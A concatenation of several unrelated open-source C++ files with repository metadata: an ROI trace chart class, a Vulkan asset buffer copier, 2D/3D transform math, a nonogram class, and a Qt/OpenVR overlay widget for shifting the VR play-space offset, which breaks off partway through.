2,977
cpp
C++
src/ROI/ROITrace.cpp
dbulk/ROIVert
01c8affc4e9c94cec15563bbc74943ea66bd69f0
[ "BSD-3-Clause" ]
null
null
null
src/ROI/ROITrace.cpp
dbulk/ROIVert
01c8affc4e9c94cec15563bbc74943ea66bd69f0
[ "BSD-3-Clause" ]
null
null
null
src/ROI/ROITrace.cpp
dbulk/ROIVert
01c8affc4e9c94cec15563bbc74943ea66bd69f0
[ "BSD-3-Clause" ]
null
null
null
#include "ROI/ROITrace.h" #include <QDebug> #include "opencv2/opencv.hpp" #include "ChartStyle.h" #include "dockwidgets/TraceViewWidget.h" #include "ROIVertEnums.h" #include "VideoData.h" #include "widgets/TraceChartWidget.h" struct ROITrace::pimpl { VideoData* videodata; TraceViewWidget* traceview; cv::Mat TraceData; std::unique_ptr<TraceChartWidget> TraceChart; std::shared_ptr<TraceChartSeries> LineSeries; std::shared_ptr<TraceChartSeries> RidgeSeries; double xmin, xmax; void init(std::shared_ptr<ChartStyle> ridgestyle, std::shared_ptr<ChartStyle> linestyle) { TraceChart = std::make_unique<TraceChartWidget>(linestyle); LineSeries = std::make_shared<TraceChartSeries>(linestyle); RidgeSeries = std::make_shared<TraceChartSeries>(ridgestyle); } std::shared_ptr<ChartStyle> chartstyle; }; ROITrace::ROITrace(TraceViewWidget* tv, VideoData* vd, std::shared_ptr<ChartStyle> ridgestyle, std::shared_ptr<ChartStyle> linestyle) : impl(std::make_unique<pimpl>()) { impl->init(ridgestyle, linestyle); impl->videodata = vd; impl->traceview = tv; tv->addLineChart(impl->TraceChart.get()); impl->LineSeries->setXMax(impl->videodata->getTMax()); impl->RidgeSeries->setXMax(impl->videodata->getTMax()); impl->TraceChart->addSeries(impl->LineSeries); impl->traceview->getRidgeChart().addSeries(impl->RidgeSeries); connect(linestyle.get(), &ChartStyle::ColorChange, this, &ROITrace::update); } ROITrace::~ROITrace() { if (impl->traceview) { impl->traceview->getRidgeChart().removeSeries(impl->RidgeSeries); impl->traceview->getRidgeChart().updateOffsets(); impl->traceview->getRidgeChart().updateExtents(); impl->traceview->getRidgeChart().update(); } } void ROITrace::updateTrace(ROIVert::SHAPE s, QRect bb, std::vector<QPoint> pts) { impl->TraceData = impl->videodata->computeTrace(s, bb, pts); update(); } std::vector<float> ROITrace::getTrace() const { auto numel = impl->TraceData.size().width; std::vector<float> out(numel, 0.); for (size_t i = 0; i < numel; ++i) { out[i] = impl->TraceData.at<float>(i); } return out; } void ROITrace::update() { impl->LineSeries->setXMax(impl->videodata->getTMax()); impl->LineSeries->setData(impl->TraceData); impl->TraceChart->updateExtents(); impl->TraceChart->update(); impl->RidgeSeries->setData(impl->TraceData); impl->RidgeSeries->setXMax(impl->videodata->getTMax()); impl->traceview->getRidgeChart().updateOffsets(); impl->traceview->getRidgeChart().updateExtents(); impl->traceview->getRidgeChart().update(); } TraceChartWidget* ROITrace::getTraceChart() const noexcept { return impl->TraceChart.get(); } TraceChartSeries* ROITrace::getLineSeries() const noexcept { return impl->LineSeries.get(); } TraceChartSeries* ROITrace::getRidgeSeries() const noexcept { return impl->RidgeSeries.get(); }
32.010753
167
0.698354
[ "shape", "vector" ]
bbcfe31a9183e70b92303375af494eec196a2574
9,371
cpp
C++
src/deng/vulkan/asset_cpy.cpp
inugami-dev64/Deng
ce7b05db57a9ee576293f3de28f9cc3a3255f5ca
[ "Apache-2.0" ]
5
2020-12-15T19:27:34.000Z
2021-12-15T17:00:36.000Z
src/deng/vulkan/asset_cpy.cpp
inugami-dev64/Deng
ce7b05db57a9ee576293f3de28f9cc3a3255f5ca
[ "Apache-2.0" ]
null
null
null
src/deng/vulkan/asset_cpy.cpp
inugami-dev64/Deng
ce7b05db57a9ee576293f3de28f9cc3a3255f5ca
[ "Apache-2.0" ]
null
null
null
/// DENG: dynamic engine - small but powerful 3D game engine /// licence: Apache, see LICENCE file /// file: asset_cpy.cpp - asset BLOB to buffer copying helper class implementation for Vulkan /// author: Karl-Mihkel Ott #define __VK_ASSET_CPY_CPP #include <deng/vulkan/asset_cpy.h> namespace deng { namespace vulkan { __AssetCpy::__AssetCpy(void *udata) : m_udata(udata) {} void __AssetCpy::cpyToBuffer(const VkDevice device, const das_Asset &asset, const VkDeviceMemory mem) { // Check for the correct method to call based on the asset mode switch(asset.asset_mode) { case DAS_ASSET_MODE_2D_UNMAPPED: __cpyVu2D(device, asset, mem); break; case DAS_ASSET_MODE_2D_TEXTURE_MAPPED: __cpyVm2D(device, asset, mem); break; case DAS_ASSET_MODE_3D_UNMAPPED: __cpyVu3D(device, asset, mem); break; case DAS_ASSET_MODE_3D_TEXTURE_MAPPED: __cpyVm3D(device, asset, mem); break; default: break; } } void __AssetCpy::bufCpyVertBuffer(const VkDevice device, const VkCommandPool cmd_pool, const das_Asset &asset, const VkBuffer src_buf, const VkBuffer dst_buf, const VkQueue g_queue) { // Check for the correct bufCpy method to call based on the asset mode switch(asset.asset_mode) { case DAS_ASSET_MODE_2D_UNMAPPED: __bufCpyVu2DToVertBuffer(device, cmd_pool, asset, src_buf, dst_buf, g_queue); break; case DAS_ASSET_MODE_2D_TEXTURE_MAPPED: __bufCpyVm2DToVertBuffer(device, cmd_pool, asset, src_buf, dst_buf, g_queue); break; case DAS_ASSET_MODE_3D_UNMAPPED: __bufCpyVu3DToVertBuffer(device, cmd_pool, asset, src_buf, dst_buf, g_queue); break; case DAS_ASSET_MODE_3D_TEXTURE_MAPPED: __bufCpyVm3DToVertBuffer(device, cmd_pool, asset, src_buf, dst_buf, g_queue); break; default: break; } } /************************************/ /* Vertex to buffer copying methods */ /************************************/ void __AssetCpy::__cpyVu2D(const VkDevice device, const das_Asset &asset, const VkDeviceMemory mem) { // Copy position vertices __vk_BufferCreator::cpyToBufferMem(device, asset.vertices.v2d.mul.pn * sizeof(const das_ObjPosData2D), asset.vertices.v2d.mul.pos, mem, asset.offsets.pos_offset, m_udata); // Copy indices __vk_BufferCreator::cpyToBufferMem(device, asset.indices.n * sizeof(deng_idx_t), asset.indices.pos, mem, asset.offsets.ind_offset, m_udata); } void __AssetCpy::__cpyVm2D(const VkDevice device, const das_Asset &asset, const VkDeviceMemory mem) { // Copy position vertices __vk_BufferCreator::cpyToBufferMem(device, asset.vertices.v2d.mul.pn * sizeof(const das_ObjPosData2D), asset.vertices.v2d.mul.pos, mem, asset.offsets.pos_offset, m_udata); // Copy texture vertices __vk_BufferCreator::cpyToBufferMem(device, asset.vertices.v2d.mul.tn * sizeof(const das_ObjTextureData), asset.vertices.v2d.mul.tex, mem, asset.offsets.tex_offset, m_udata); // Copy position indices __vk_BufferCreator::cpyToBufferMem(device, asset.indices.n * sizeof(deng_idx_t), asset.indices.pos, mem, asset.offsets.ind_offset, m_udata); // Copy texture indices __vk_BufferCreator::cpyToBufferMem(device, asset.indices.n * sizeof(deng_idx_t), asset.indices.tex, mem, asset.offsets.ind_offset + asset.indices.n * sizeof(deng_idx_t), m_udata); } void __AssetCpy::__cpyVu3D(const VkDevice device, const das_Asset &asset, const VkDeviceMemory mem) { // Copy position vertices __vk_BufferCreator::cpyToBufferMem(device, asset.vertices.v3d.mul.pn * sizeof(const das_ObjPosData), asset.vertices.v3d.mul.pos, mem, asset.offsets.pos_offset, m_udata); // Copy vertex normals __vk_BufferCreator::cpyToBufferMem(device, asset.vertices.v3d.mul.nn * sizeof(const das_ObjNormalData), asset.vertices.v3d.mul.norm, mem, asset.offsets.nor_offset, m_udata); // Copy position indices __vk_BufferCreator::cpyToBufferMem(device, asset.indices.n * sizeof(deng_idx_t), asset.indices.pos, mem, asset.offsets.ind_offset, m_udata); // Copy vertex normal indices __vk_BufferCreator::cpyToBufferMem(device, asset.indices.n * sizeof(deng_idx_t), asset.indices.norm, mem, asset.offsets.ind_offset + asset.indices.n * sizeof(deng_idx_t), m_udata); } void __AssetCpy::__cpyVm3D(const VkDevice device, const das_Asset &asset, const VkDeviceMemory mem) { // Copy position vertices __vk_BufferCreator::cpyToBufferMem(device, asset.vertices.v3d.mul.pn * sizeof(const das_ObjPosData), asset.vertices.v3d.mul.pos, mem, asset.offsets.pos_offset, m_udata); // Copy texture vertices __vk_BufferCreator::cpyToBufferMem(device, asset.vertices.v3d.mul.tn * sizeof(const das_ObjTextureData), asset.vertices.v3d.mul.tex, mem, asset.offsets.tex_offset, m_udata); // Copy vertex normals __vk_BufferCreator::cpyToBufferMem(device, asset.vertices.v3d.mul.nn * sizeof(const das_ObjNormalData), asset.vertices.v3d.mul.norm, mem, asset.offsets.nor_offset, m_udata); // Copy position indices __vk_BufferCreator::cpyToBufferMem(device, asset.indices.n * sizeof(deng_idx_t), asset.indices.pos, mem, asset.offsets.ind_offset, m_udata); // Copy texture vertex indices __vk_BufferCreator::cpyToBufferMem(device, asset.indices.n * sizeof(deng_idx_t), asset.indices.tex, mem, asset.offsets.ind_offset + asset.indices.n * sizeof(deng_idx_t), m_udata); // Copy vertex normal indices __vk_BufferCreator::cpyToBufferMem(device, asset.indices.n * sizeof(deng_idx_t), asset.indices.norm, mem, asset.offsets.ind_offset + 2 * asset.indices.n * sizeof(deng_idx_t), m_udata); } /***********************************************************/ /* Single asset data buffer to main buffer copying methods */ /***********************************************************/ void __AssetCpy::__bufCpyVu2DToVertBuffer ( const VkDevice device, const VkCommandPool cmd_pool, const das_Asset &asset, const VkBuffer src_buf, const VkBuffer dst_buf, const VkQueue g_queue ) { // Copy position vertices __vk_BufferCreator::cpyBufferToBuffer(device, cmd_pool, g_queue, src_buf, dst_buf, asset.vertices.v2d.mul.pn * sizeof(const das_ObjPosData2D), 0, asset.offsets.pos_offset, m_udata); } void __AssetCpy::__bufCpyVm2DToVertBuffer ( const VkDevice device, const VkCommandPool cmd_pool, const das_Asset &asset, const VkBuffer src_buf, const VkBuffer dst_buf, const VkQueue g_queue ) { // Copy position vertices and texture vertices __vk_BufferCreator::cpyBufferToBuffer(device, cmd_pool, g_queue, src_buf, dst_buf, asset.vertices.v2d.mul.pn * sizeof(das_ObjPosData2D) + asset.vertices.v2d.mul.tn * sizeof(const das_ObjTextureData), 0, asset.offsets.pos_offset, m_udata); } void __AssetCpy::__bufCpyVu3DToVertBuffer ( const VkDevice device, const VkCommandPool cmd_pool, const das_Asset &asset, const VkBuffer src_buf, const VkBuffer dst_buf, const VkQueue g_queue ) { // Copy position vertices and vertex normals __vk_BufferCreator::cpyBufferToBuffer(device, cmd_pool, g_queue, src_buf, dst_buf, asset.vertices.v3d.mul.pn * sizeof(das_ObjPosData) + asset.vertices.v3d.mul.nn * sizeof(const das_ObjNormalData), 0, asset.offsets.pos_offset, m_udata); } void __AssetCpy::__bufCpyVm3DToVertBuffer ( const VkDevice device, const VkCommandPool cmd_pool, const das_Asset &asset, const VkBuffer src_buf, const VkBuffer dst_buf, const VkQueue g_queue ) { // Copy position vertices, texture vertices and vertex normals __vk_BufferCreator::cpyBufferToBuffer(device, cmd_pool, g_queue, src_buf, dst_buf, asset.vertices.v3d.mul.pn * sizeof(das_ObjPosData) + asset.vertices.v3d.mul.tn * sizeof(const das_ObjTextureData) + asset.vertices.v3d.mul.nn * sizeof(const das_ObjNormalData), 0, asset.offsets.pos_offset, m_udata); } } }
45.052885
132
0.616263
[ "3d" ]
bbd25c6aa2b422c57b88daa1d628e53a60a56a1e
5,210
cpp
C++
src/Transform.cpp
tapio/Wendy
41ba0af0158bfe9fe50c0e881b451342602aa327
[ "Zlib" ]
1
2017-08-28T05:49:37.000Z
2017-08-28T05:49:37.000Z
src/Transform.cpp
tapio/Wendy
41ba0af0158bfe9fe50c0e881b451342602aa327
[ "Zlib" ]
null
null
null
src/Transform.cpp
tapio/Wendy
41ba0af0158bfe9fe50c0e881b451342602aa327
[ "Zlib" ]
null
null
null
/////////////////////////////////////////////////////////////////////// // Wendy core library // Copyright (c) 2005 Camilla Berglund <elmindreda@elmindreda.org> // // This software is provided 'as-is', without any express or implied // warranty. In no event will the authors be held liable for any // damages arising from the use of this software. // // Permission is granted to anyone to use this software for any // purpose, including commercial applications, and to alter it and // redistribute it freely, subject to the following restrictions: // // 1. The origin of this software must not be misrepresented; you // must not claim that you wrote the original software. If you use // this software in a product, an acknowledgment in the product // documentation would be appreciated but is not required. // // 2. Altered source versions must be plainly marked as such, and // must not be misrepresented as being the original software. // // 3. This notice may not be removed or altered from any source // distribution. // /////////////////////////////////////////////////////////////////////// #include <wendy/Config.hpp> #include <wendy/Core.hpp> #include <wendy/Transform.hpp> #include <glm/gtx/transform.hpp> /////////////////////////////////////////////////////////////////////// namespace wendy { /////////////////////////////////////////////////////////////////////// Transform2::Transform2(): angle(0.f), scale(0.f) { } Transform2::Transform2(const vec2& initPosition, float initAngle, float initScale): position(initPosition), angle(initAngle), scale(initScale) { } void Transform2::invert() { angle = -angle; scale = 1.f / scale; position = -position; rotateVector(position); } void Transform2::scaleVector(vec2& vector) const { vector *= scale; } void Transform2::rotateVector(vec2& vector) const { const float sina = sin(angle); const float cosa = cos(angle); vec2 result; result.x = vector.x * cosa - vector.y * sina; result.y = vector.x * sina + vector.y * cosa; vector = result; } void Transform2::translateVector(vec2& vector) const { vector += position; } void Transform2::transformVector(vec2& vector) const { vector *= scale; rotateVector(vector); vector += position; } Transform2::operator mat3 () const { const float sina = sin(angle) * scale; const float cosa = cos(angle) * scale; mat3 result; result[0][0] = cosa; result[0][1] = sina; result[1][0] = -sina; result[1][1] = cosa; result[2][0] = position.x; result[2][1] = position.y; return result; } Transform2 Transform2::operator * (const Transform2& other) const { Transform2 result(*this); result *= other; return result; } Transform2& Transform2::operator *= (const Transform2& other) { vec2 local = other.position; rotateVector(local); position += local; angle += other.angle; scale *= other.scale; return *this; } void Transform2::setIdentity() { position = vec2(0.f); angle = 0.f; scale = 1.f; } void Transform2::set(const vec2& newPosition, float newAngle, float newScale) { position = newPosition; angle = newAngle; scale = newScale; } Transform2 Transform2::IDENTITY; /////////////////////////////////////////////////////////////////////// Transform3::Transform3(): scale(1.f) { } Transform3::Transform3(const vec3& initPosition, const quat& initRotation, float initScale): position(initPosition), rotation(initRotation), scale(initScale) { } void Transform3::invert() { rotation = inverse(rotation); position = rotation * -position; scale = 1.f / scale; } void Transform3::scaleVector(vec3& vector) const { vector *= scale; } void Transform3::rotateVector(vec3& vector) const { vector = rotation * vector; } void Transform3::translateVector(vec3& vector) const { vector += position; } void Transform3::transformVector(vec3& vector) const { vector = rotation * scale * vector + position; } Transform3::operator mat4 () const { mat4 result = mat4_cast(rotation); for (size_t x = 0; x < 3; x++) { for (size_t y = 0; y < 3; y++) result[x][y] *= scale; } result[3][0] = position.x; result[3][1] = position.y; result[3][2] = position.z; return result; } vec3 Transform3::operator * (const vec3& point) const { return rotation * scale * point + position; } Transform3 Transform3::operator * (const Transform3& other) const { Transform3 result(*this); result *= other; return result; } Transform3& Transform3::operator *= (const Transform3& other) { position += rotation * other.position; rotation = rotation * other.rotation; scale *= other.scale; return *this; } void Transform3::setIdentity() { rotation = quat(); position = vec3(); scale = 1.f; } void Transform3::set(const vec3& newPosition, const quat& newRotation, float newScale) { position = newPosition; rotation = newRotation; scale = newScale; } Transform3 Transform3::IDENTITY; /////////////////////////////////////////////////////////////////////// } /*namespace wendy*/ ///////////////////////////////////////////////////////////////////////
21.618257
83
0.61094
[ "vector", "transform" ]
bbda5bf203f87f57bbebbae52e5713e1bf68dc10
856
cpp
C++
nonogram.cpp
froller/nonosolver
ba7629d37fc284fa33e683d767c91712505d9f9b
[ "WTFPL" ]
null
null
null
nonogram.cpp
froller/nonosolver
ba7629d37fc284fa33e683d767c91712505d9f9b
[ "WTFPL" ]
null
null
null
nonogram.cpp
froller/nonosolver
ba7629d37fc284fa33e683d767c91712505d9f9b
[ "WTFPL" ]
null
null
null
#include "nonogram.h" Nonogram::Nonogram() : m_Width(0), m_Height(0), m_Strips({}) { } Nonogram::Nonogram(const unsigned short &width, const unsigned short &height, const std::vector<std::vector<unsigned short>> &strips) : m_Width(width), m_Height(height), m_Strips(strips) { } std::vector<unsigned short> Nonogram::getRowStrips(unsigned short row) const { if (row < m_Height) return m_Strips[row]; else return {}; } std::vector<unsigned short> Nonogram::getColStrips(unsigned short col) const { if (col < m_Width) return m_Strips[m_Height + col]; else return {}; } unsigned short Nonogram::getWidth() const { return m_Width; } unsigned short Nonogram::getHeight() const { return m_Height; } void Nonogram::zero() { m_Height = 0; m_Width = 0; m_Strips.clear(); }
18.212766
133
0.650701
[ "vector" ]
bbde1c24e00a400794f45a11638e64ac6bcc4a25
31,851
cpp
C++
CopilotVR/overlaywidget.cpp
FJThiel/CopilotVR
1989635033f7a7ab9417db8b93682c616aba6903
[ "MIT" ]
null
null
null
CopilotVR/overlaywidget.cpp
FJThiel/CopilotVR
1989635033f7a7ab9417db8b93682c616aba6903
[ "MIT" ]
null
null
null
CopilotVR/overlaywidget.cpp
FJThiel/CopilotVR
1989635033f7a7ab9417db8b93682c616aba6903
[ "MIT" ]
null
null
null
#include "overlaywidget.h" #include "ui_overlaywidget.h" #include <iostream> OverlayWidget::OverlayWidget(QWidget *parent) : QWidget(parent), m_ui(new Ui::OverlayWidget) { m_ui->setupUi(this); // set preset values in the ui m_ui->movLimitSpinBox_XZ->setValue(static_cast<double>(m_maxOffset.x)); m_ui->movLimitSpinBox_Y->setValue(static_cast<double>(m_maxOffset.y)); m_ui->rtc_checkBox->setChecked(m_returnToCentre); // QT Timer for the input loop m_timer = std::make_shared<QTimer>(this); connect(m_timer.get(), SIGNAL(timeout()), this, SLOT(update())); m_timer->setInterval(m_timerInputInterval); m_timer->start(); // SteamVR actions initialization // Set Path to actions manifest std::string curPath = std::experimental::filesystem::v1::current_path().string(); std::string manifestPath = curPath.append("\\SteamVROverlayWidget\\actions.json"); vr::EVRInputError error = vr::VRInput()->SetActionManifestPath(manifestPath.c_str()); // get action handles (digital) error = vr::VRInput()->GetActionHandle("/actions/main/in/digitalMoveLeft", &m_handleDigitalMoveLeft); vr::VRInput()->GetActionHandle("/actions/main/in/digitalMoveRight", &m_handleDigitalMoveRight); vr::VRInput()->GetActionHandle("/actions/main/in/digitalMoveForward", &m_handleDigitalMoveForward); vr::VRInput()->GetActionHandle("/actions/main/in/digitalMoveBackward", &m_handleDigitalMoveBackward); vr::VRInput()->GetActionHandle("/actions/main/in/digitalDuck", &m_handleDigitalDuck); vr::VRInput()->GetActionHandle("/actions/main/in/digitalReset", &m_handleDigitalReset); // get action handles (analogue) vr::VRInput()->GetActionHandle("/actions/main/in/analogueMovement", &m_handleAnalogueMovement); vr::VRInput()->GetActionHandle("/actions/main/in/analogueDuck", &m_handleAnalogueDuck); vr::VRInput()->GetActionHandle("/actions/main/in/analogueRotation", &m_handleAnalogueRotation); // get action set handle vr::VRInput()->GetActionSetHandle("/actions/main", &m_handleSetMain); // get initial setup for later cleanup vr::VRChaperoneSetup()->HideWorkingSetPreview(); vr::VRChaperoneSetup()->RevertWorkingCopy(); // Working copy is updated with live values vr::VRChaperoneSetup()->GetWorkingStandingZeroPoseToRawTrackingPose(&m_initialMatrix); // Init inputemulator std::cout << "Looking for VR Input Emulator..." << std::flush; while (true) { try { m_inputEmulator.connect(); break; } catch (vrinputemulator::vrinputemulator_connectionerror e) { std::cout << "\nFailed to connect to open vr input emulator, ensure you've installed it.\n" << std::flush; std::this_thread::sleep_for(std::chrono::seconds(4)); continue; } } std::cout << "Success!\n"; // get initial offsets std::cout << "Retreiving initial offsets. Please put on HMD..." << std::flush; bool success = false; vr::HmdMatrix34_t currentPosRotRaw; while (!success) { vr::VRChaperoneSetup()->RevertWorkingCopy(); // Working copy is updated with live values success = vr::VRChaperoneSetup()->GetWorkingStandingZeroPoseToRawTrackingPose(&currentPosRotRaw); // if we are not successful, wait a second then try again if (!success) std::this_thread::sleep_for(std::chrono::seconds(1)); } std::cout << "Success!\n"; // convert raw into glm format and then to a 4x4 rotation-only matrix glm::mat4x3 currentPosRot = VRUtils::OVRMatrixToGLM(currentPosRotRaw); glm::mat4 currentRot = glm::mat4(1.f); currentRot[0] = glm::vec4(currentPosRot[0], 0.f); currentRot[1] = glm::vec4(currentPosRot[1], 0.f); currentRot[2] = glm::vec4(currentPosRot[2], 0.f); m_initialTranslation = currentPosRot[3]; m_initialRotationMatrix = currentRot; for (uint32_t deviceIndex = 0; deviceIndex < vr::k_unMaxTrackedDeviceCount; deviceIndex++) { if (!vr::VRSystem()->IsTrackedDeviceConnected(deviceIndex)) { m_deviceBaseOffsets[deviceIndex] = glm::vec3(0); continue; } vrinputemulator::DeviceOffsets data; try { m_inputEmulator.getDeviceOffsets(deviceIndex, data); glm::vec3 offset; offset.x = (float)data.worldFromDriverTranslationOffset.v[0]; offset.y = (float)data.worldFromDriverTranslationOffset.v[1]; offset.z = (float)data.worldFromDriverTranslationOffset.v[2]; m_deviceBaseOffsets[deviceIndex] = offset; m_deviceBaseRotations[deviceIndex] = data.worldFromDriverRotationOffset; //auto test1 = data.worldFromDriverRotationOffset; //auto test2 = data.driverFromHeadRotationOffset; //auto test3 = data.deviceRotationOffset; auto test1 = data.worldFromDriverTranslationOffset; auto test2 = data.driverFromHeadTranslationOffset; auto test3 = data.deviceTranslationOffset; int e = 5; } catch (vrinputemulator::vrinputemulator_notfound e) { glm::vec3 offset; offset.x = 0; offset.y = 0; offset.z = 0; m_deviceBaseOffsets[deviceIndex] = offset; m_deviceBaseRotations[deviceIndex] = vr::HmdQuaternion_t(); } } int i = 5; } OverlayWidget::~OverlayWidget() { delete m_ui; ResetChaperoneOffset(); m_inputEmulator.disconnect(); //// Reset steamVR pose //vr::VRChaperoneSetup()->HideWorkingSetPreview(); //vr::VRChaperoneSetup()->RevertWorkingCopy(); // Working copy is updated with live values //vr::VRChaperoneSetup()->SetWorkingStandingZeroPoseToRawTrackingPose(&m_initialMatrix); //vr::VRChaperoneSetup()->CommitWorkingCopy(vr::EChaperoneConfigFile_Live); } void OverlayWidget::on_pushButton_clicked() { QApplication::quit(); } void OverlayWidget::on_pushButton_2_clicked() { m_ui->pushButton_2->setText("Click!"); } void OverlayWidget::on_pushButton_up_clicked() { glm::vec3 offset = glm::vec3(0.f, 0.25f, 0.f ); SetChaperoneOffsetExp(offset, 0.f, false); } void OverlayWidget::on_pushButton_down_clicked() { glm::vec3 offset = glm::vec3(0.f, -0.25f, 0.f ); SetChaperoneOffsetExp(offset, 0.f, false); } void OverlayWidget::on_pushButton_left_clicked() { glm::vec3 offset = glm::vec3( -0.25f, 0.f, 0.f ); SetChaperoneOffsetExp(offset, 0.f, false); } void OverlayWidget::on_pushButton_right_clicked() { glm::vec3 offset = glm::vec3( 0.25f, 0.f, 0.f ); SetChaperoneOffsetExp(offset, 0.f, false); } void OverlayWidget::on_pushButton_refreshDevices_clicked() { // we have to query all indices and see where we get feedback // see listDevices here: https://github.com/matzman666/OpenVR-InputEmulator/blob/de7e1ec9ab1f0aa5766d58ac65db061ba6615d2d/client_commandline/src/client_commandline.cpp m_devices.clear(); // for each possible device index for (int i = 0; i < vr::k_unMaxTrackedDeviceCount; i++) { // get the device class of the index to check if anybody is at home auto deviceClass = vr::VRSystem()->GetTrackedDeviceClass(static_cast<vr::TrackedDeviceIndex_t>(i)); // check if something is connected there if (deviceClass != vr::TrackedDeviceClass_Invalid) { //someone is, so get data and create output vr::ETrackedPropertyError pError; char serial[1028] = { '\0' }; vr::VRSystem()->GetStringTrackedDeviceProperty(i, vr::Prop_SerialNumber_String, serial, 1028, &pError); char manufacturer[1028] = { '\0' }; vr::VRSystem()->GetStringTrackedDeviceProperty(i, vr::Prop_ManufacturerName_String, manufacturer, 1028, &pError); char model[1028] = { '\0' }; vr::VRSystem()->GetStringTrackedDeviceProperty(i, vr::Prop_ModelNumber_String, model, 1028, &pError); std::string deviceClassStr; if (deviceClass == vr::TrackedDeviceClass_HMD) { deviceClassStr = "HMD"; } else if (deviceClass == vr::TrackedDeviceClass_Controller) { deviceClassStr = "Controller"; } else if (deviceClass == vr::TrackedDeviceClass_GenericTracker) { deviceClassStr = "Generic Tracker"; } else if (deviceClass == vr::TrackedDeviceClass_TrackingReference) { deviceClassStr = "Tracking Reference"; } else { deviceClassStr = "Unknown"; } std::shared_ptr<TrackedDevice> device = std::make_shared<TrackedDevice>(); device->setDeviceIndex(i); device->setSerial(serial); device->setManufacturer(manufacturer); device->setModel(model); device->setDeviceClassStr(deviceClassStr); m_devices.push_back(device); } } // print all device model strings in the list box m_ui->listWidget->clear(); for (int i = 0; i < m_devices.size(); i++) { QString string = QString::fromStdString(m_devices[i]->getModel()); m_ui->listWidget->addItem(string); } } void OverlayWidget::on_listWidget_currentRowChanged(int currentRow) { // check if row is safe and abort if not if (currentRow < 0 || currentRow >= m_devices.size()) return; // get associated device std::shared_ptr<TrackedDevice> device = m_devices[currentRow]; // clear label m_ui->label->clear(); // Get data from device and parse it to Qstrings QString deviceIndex = QString::number(device->getDeviceIndex()); QString serial = QString::fromStdString(device->getSerial()); QString manufacturer = QString::fromStdString(device->getManufacturer()); QString model = QString::fromStdString(device->getModel()); QString deviceClassString = QString::fromStdString(device->getDeviceClassStr()); // Format and put in the label QString content = ""; content = content + "Index: " + deviceIndex; content = content + "\nSerial: " + serial; content = content + "\nManufacturer: " + manufacturer; content = content + "\nModel: " + model; content = content + "\nDeviceClassString: " + deviceClassString; m_ui->label->setText(content); } glm::vec3 OverlayWidget::getRawInputDigital() { bool leftPressed = false; bool rightPressed = false; bool forwardPressed = false; bool backwardPressed = false; bool duckPressed = false; { vr::InputDigitalActionData_t actionData; vr::EVRInputError error = vr::VRInput()->GetDigitalActionData(m_handleDigitalMoveLeft, &actionData, sizeof(actionData), vr::k_ulInvalidInputValueHandle); leftPressed = actionData.bState && actionData.bActive; } { vr::InputDigitalActionData_t actionData; vr::EVRInputError error = vr::VRInput()->GetDigitalActionData(m_handleDigitalMoveRight, &actionData, sizeof(actionData), vr::k_ulInvalidInputValueHandle); rightPressed = actionData.bState && actionData.bActive; } { vr::InputDigitalActionData_t actionData; vr::EVRInputError error = vr::VRInput()->GetDigitalActionData(m_handleDigitalMoveForward, &actionData, sizeof(actionData), vr::k_ulInvalidInputValueHandle); forwardPressed = actionData.bState && actionData.bActive; } { vr::InputDigitalActionData_t actionData; vr::EVRInputError error = vr::VRInput()->GetDigitalActionData(m_handleDigitalMoveBackward, &actionData, sizeof(actionData), vr::k_ulInvalidInputValueHandle); backwardPressed = actionData.bState && actionData.bActive; } { vr::InputDigitalActionData_t actionData; vr::EVRInputError error = vr::VRInput()->GetDigitalActionData(m_handleDigitalDuck, &actionData, sizeof(actionData), vr::k_ulInvalidInputValueHandle); duckPressed = actionData.bState && actionData.bActive; } // code to move the player according to the action // calculate contribution for every direction float leftContribution = leftPressed ? m_step : 0.f; float rightContribution = rightPressed ? -m_step : 0.f; float forwardContribution = forwardPressed ? m_step : 0.f; float backwardContribution = backwardPressed ? -m_step : 0.f; float duckContribution = duckPressed ? m_step : 0.f; glm::vec3 movement = glm::vec3(0,0,0); movement.x = leftContribution + rightContribution; movement.y = duckContribution; movement.z = forwardContribution + backwardContribution; // inverse, because we actually move the world and not the player movement = -movement; return movement; } glm::vec3 OverlayWidget::getRawInputAnalogue() { float inputXMovement = 0; float inputYMovement = 0; float inputZMovement = 0; { vr::InputAnalogActionData_t actionData; vr::EVRInputError error = vr::VRInput()->GetAnalogActionData(m_handleAnalogueMovement, &actionData, sizeof(actionData), vr::k_ulInvalidInputValueHandle); if (actionData.bActive) { inputXMovement = actionData.x; inputZMovement = actionData.y; } } { vr::InputAnalogActionData_t actionData; vr::EVRInputError error = vr::VRInput()->GetAnalogActionData(m_handleAnalogueDuck, &actionData, sizeof(actionData), vr::k_ulInvalidInputValueHandle); if (actionData.bActive) { inputYMovement = actionData.x; } } // deadzone (everything below m_deadzone gets set to zero) if (inputXMovement > -m_deadzone && inputXMovement < m_deadzone) inputXMovement = 0.f; if (inputYMovement > -m_deadzone && inputYMovement < m_deadzone) inputYMovement = 0.f; if (inputZMovement > -m_deadzone && inputZMovement < m_deadzone) inputZMovement = 0.f; glm::vec3 input = glm::vec3( 0, 0, 0 ); input.x = -inputXMovement * m_step; // mirrored input input.y = inputYMovement * m_step; input.z = inputZMovement * m_step; // mirror all, as we actually want to move the world not the player input = -input; return input; } float OverlayWidget::getRotationAnalogue() { float inputXMovement = 0.f; vr::InputAnalogActionData_t actionData; vr::EVRInputError error = vr::VRInput()->GetAnalogActionData(m_handleAnalogueRotation, &actionData, sizeof(actionData), vr::k_ulInvalidInputValueHandle); if (actionData.bActive) { inputXMovement = actionData.x; } // deadzone (everything below m_deadzone gets set to zero) if (inputXMovement > -m_deadzone && inputXMovement < m_deadzone) inputXMovement = 0.f; return -inputXMovement * (m_step); // mirrored as we actually want to move the world not the player } glm::vec3 OverlayWidget::processInput(glm::vec3 rawInput) { // rotate with the current rotation so it is relative to the current direction glm::vec4 trans4 = glm::vec4(rawInput, 0.f); glm::mat4 rot = glm::rotate(glm::mat4(1.f), m_currentRotation, glm::vec3(0.f, 1.f, 0.f)); //trans4 = rot * trans4; //trans4 = m_initialRotationMatrix * trans4; trans4 = m_initialRotationMatrix * rot * trans4; // not effective yet glm::vec3 translation = glm::vec3(trans4); //// return to centre if no other input is given //if(glm::length(translation) == 0.f){ // if(glm::length(m_currentOffset) > m_step){ // translation = m_step * (-glm::normalize(m_currentOffset)); // } // else if (glm::length(m_currentOffset) < m_step){ // translation = -m_currentOffset; // } // // Do nothing if we are already at zero //} // alternative approach to return-to-centre if (m_returnToCentre == true) { // create mask glm::vec3 mask = glm::vec3(0.f); mask.x = translation.x == 0.f ? 1.f : 0.f; mask.y = translation.y == 0.f ? 1.f : 0.f; mask.z = translation.z == 0.f ? 1.f : 0.f; // "flatten" current offset vector so we get only the dimensions without change 